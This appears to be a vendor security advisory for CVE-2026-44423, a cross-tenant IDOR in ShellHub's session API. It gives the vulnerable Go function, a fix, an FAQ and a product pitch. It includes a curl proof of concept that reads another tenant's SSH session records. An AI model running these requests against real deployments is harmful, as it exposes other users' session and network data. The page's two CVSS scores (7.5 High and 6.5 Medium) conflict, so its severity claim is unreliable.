CVE-2026-44423

GET /api/sessions/:uid returns the full session object for any authenticated caller, without scoping by the caller's tenant. An authenticated user can read session records (SSH username, device UID, remote IP, terminal type, authenticated flag, timestamps) belonging to any other namespace.

Severity

CVSS 3.1: 7.5 (High)
CWE-639

Affected versions

ShellHub Community v0.24.1 (by code inspection, same vulnerable pattern as GetDevice). Not plant-reproducible without an active SSH session, but the flaw is structurally identical and confirmed via static analysis.

Root cause

api/services/session.go:37-44, GetSession resolves the session by UID without any tenant filter:

func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {
    session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid))
    // ⚠️ missing: s.store.Options().InNamespace(tenant)
    ...
}

The Authorize middleware only verifies presence of a tenant in the context, not ownership of the requested session.

Proof of concept

Pre-requisite: attacker has any valid user account and has obtained a session UID from the victim tenant (UIDs may leak via logs, shared session recordings, UI URLs, or through the device IDOR in the companion advisory since sessions reference devices by UID).

ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

# Attempt cross-tenant read
curl -i "http://target/api/sessions/<victim-session-uid>" \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full session JSON

• Cross-tenant disclosure of SSH session data: target username, device UID, remote IP, authenticated status, session type, terminal, position (geolocation), started_at / last_seen timestamps.
  • Enables reconnaissance of other tenants' active users and systems; combined with session recording features, can enable deeper recon.

CVE-2026-44423 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.24.2); upgrading removes the vulnerable code path.

Kodem intelligence

api/services/session.go, apply InNamespace in GetSession:

func (s *service) GetSession(ctx context.Context, uid models.UID) (*models.Session, error) {
    tenant := gateway.TenantFromContext(ctx)
    opts := []store.QueryOption{}
    if tenant != nil {
        opts = append(opts, s.store.Options().InNamespace(tenant.ID))
    }
    session, err := s.store.SessionResolve(ctx, store.SessionUIDResolver, string(uid), opts...)
    ...
}

1. What is CVE-2026-44423? CVE-2026-44423 is a medium-severity security vulnerability in github.com/shellhub-io/shellhub (go), affecting versions <= 0.24.1. It is fixed in 0.24.2.
2. How severe is CVE-2026-44423? CVE-2026-44423 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/shellhub-io/shellhub are affected by CVE-2026-44423? github.com/shellhub-io/shellhub (go) versions <= 0.24.1 is affected.
4. Is there a fix for CVE-2026-44423? Yes. CVE-2026-44423 is fixed in 0.24.2. Upgrade to this version or later.
5. Is CVE-2026-44423 exploitable, and should I be worried? Whether CVE-2026-44423 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44423 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44423? Upgrade github.com/shellhub-io/shellhub to 0.24.2 or later.